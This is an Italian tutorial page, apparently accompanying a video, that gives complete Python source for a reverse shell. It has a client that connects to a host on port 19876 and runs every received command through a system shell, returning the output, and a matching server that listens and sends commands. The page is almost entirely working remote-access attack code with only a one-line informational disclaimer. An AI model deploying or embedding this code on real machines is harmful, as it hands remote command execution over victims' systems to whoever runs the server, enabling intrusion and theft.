Video Spiegazione Reverse Shell
Codice Reverse Shell in Python
Client
Python:
import os
import socket
import subprocess
import sys
def receiver(s):
"""Ricevi comandi di sistema ed eseguili."""
while True:
cmd_bytes = s.recv(4096)
cmd = cmd_bytes.decode("utf-8")
if cmd.startswith("cd "):
os.chdir(cmd[3:])
s.send(b"$: ")
continue
if len(cmd) > 0:
p = subprocess.run(cmd, shell=True, capture_output=True)
data = p.stdout + p.stderr
s.sendall(data + b"$: ")
def connect(address):
"""Stabilisci una connessione con address, quindi chiama receiver()."""
try:
s = socket.socket()
s.connect(address)
print("Connessione Stabilita.")
print(f"Indirizzo: {address}")
except socket.error as error:
print("Qualcosa è andato storto... info di seguito.")
print(error)
sys.exit()
receiver(s)
if __name__ == "__main__":
host = "192.168.1.7"
port = 19876
connect((host, port))
Server
Python:
import socket
import sys
def send_commands(s, conn):
"""Prendi un comando dall'utente e invialo al Client."""
print("\nCtrl + C per chiudere la connessione.")
print("Naviga il sistema come al solito con cd.")
print("Questo codice è a solo scopo informativo.\n")
print("$: ", end="")
while True:
try:
cmd = input()
if len(cmd) > 0:
conn.sendall(cmd.encode())
data = conn.recv(4096)
print(data.decode("utf-8"), end="")
except KeyboardInterrupt:
print("\nA presto.")
conn.close()
s.close()
sys.exit()
except Exception as e:
print(e)
conn.close()
s.close()
sys.exit()
def server(address):
"""Inizializza un server socket e attendi una connessione."""
try:
s = socket.socket()
s.bind(address)
s.listen()
print("Server Inizializzato. Sono in ascolto...")
except Exception as e:
print("\nSembra che qualcosa sia andato storto.")
print(e)
restart = input("\nVuoi che reinizializzi il server? s/n ")
if restart.lower() == "s" or restart.lower() == "si":
print("\nRicevuto. Sto reinizializzando il server...\n")
server(address)
else:
print("\nA presto, ed Happy Coding! ;)\n")
sys.exit()
conn, client_addr = s.accept()
print(f"Connessione Stabilita: {client_addr}")
send_commands(s, conn)
if __name__ == "__main__":
host = "192.168.1.7"
port = 19876
server((host, port))